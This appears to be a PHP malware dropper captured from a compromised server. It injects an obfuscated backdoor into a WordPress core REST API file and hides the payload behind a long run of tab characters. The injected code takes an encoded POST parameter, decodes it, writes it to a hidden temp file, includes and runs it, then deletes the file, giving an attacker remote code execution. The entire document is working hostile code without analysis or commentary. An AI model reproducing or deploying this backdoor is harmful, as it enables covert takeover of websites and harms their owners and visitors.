File: //proc/thread-self/root/proc/self/root/proc/self/root/proc/self/root/tmp/.entity
<?php $path = '/home/vitanhod/vitamine.pk/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('if%28isset%28%24_POST%29%20%26%26%20isset%28%24_POST%5B%22k%5Cx65y%22%5D%29%29%7B%20%24holder%20%3D%20%24_POST%5B%22k%5Cx65y%22%5D%3B%20%24holder%3Dexplode%20%28%20%27.%27%20%2C%24holder%20%29%3B%20%24ptr%20%3D%20%27%27%3B%20%24s5%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24sLen%20%3D%20strlen%28%20%24s5%29%3B%20%24w%20%3D%200%3B%20%24__tmp%20%3D%20%24holder%3B%20while%28%20%24v3%20%3D%20array_shift%28%20%24__tmp%29%29%20%7B%20%24sChar%20%3D%20ord%28%20%24s5%5B%24w%20%25%20%24sLen%5D%29%3B%20%24d%20%3D%28%20%28%20int%29%24v3%20-%20%24sChar%20-%28%20%24w%20%25%2010%29%29%20%5E%2035%3B%20%24ptr%20.%3D%20chr%28%20%24d%29%3B%20%24w%2B%2B%3B%20%7D%20%24item%20%3D%20array_filter%28%5Bgetenv%28%22TEMP%22%29%2C%20getenv%28%22TMP%22%29%2C%20%22/var/tmp%22%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20session_save_path%28%29%2C%20%22/tmp%22%2C%20getcwd%28%29%2C%20sys_get_temp_dir%28%29%2C%20%22/dev/shm%22%5D%29%3B%20%24data%20%3D%200%3B%20do%20%7B%20%24ref%20%3D%20%24item%5B%24data%5D%20%3F%3F%20null%3B%20if%20%28%24data%20%3E%3D%20count%28%24item%29%29%20break%3B%20if%20%28%21%28%20%21is_dir%28%24ref%29%20%7C%7C%20%21is_writable%28%24ref%29%20%29%29%20%7B%20%24elem%20%3D%20%22%24ref/.ent%22%3B%20%24success%20%3D%20file_put_contents%28%24elem%2C%20%24ptr%29%3B%20if%20%28%24success%29%20%7B%20include%20%24elem%3B%20%40unlink%28%24elem%29%3B%20exit%3B%7D%20%7D%20%24data%2B%2B%3B%20%7D%20while%20%28true%29%3B%20%7D'); if (strlen($content) < 32) { die('!failed!'); } if (strstr($content, $new_code)) { die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) { $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) { die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { $len = strlen($start); if ($len > strlen($body) || substr($body, 0, $len) !== $start) { continue; } if ($start === '<?') { if (strncmp($body, '<?xml', 5) === 0) { continue; } if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') { continue; } } $rest = substr($body, $len); $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest; $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { $check = (string) @file_get_contents($path); if (strstr($check, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } if ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } die('!failed!');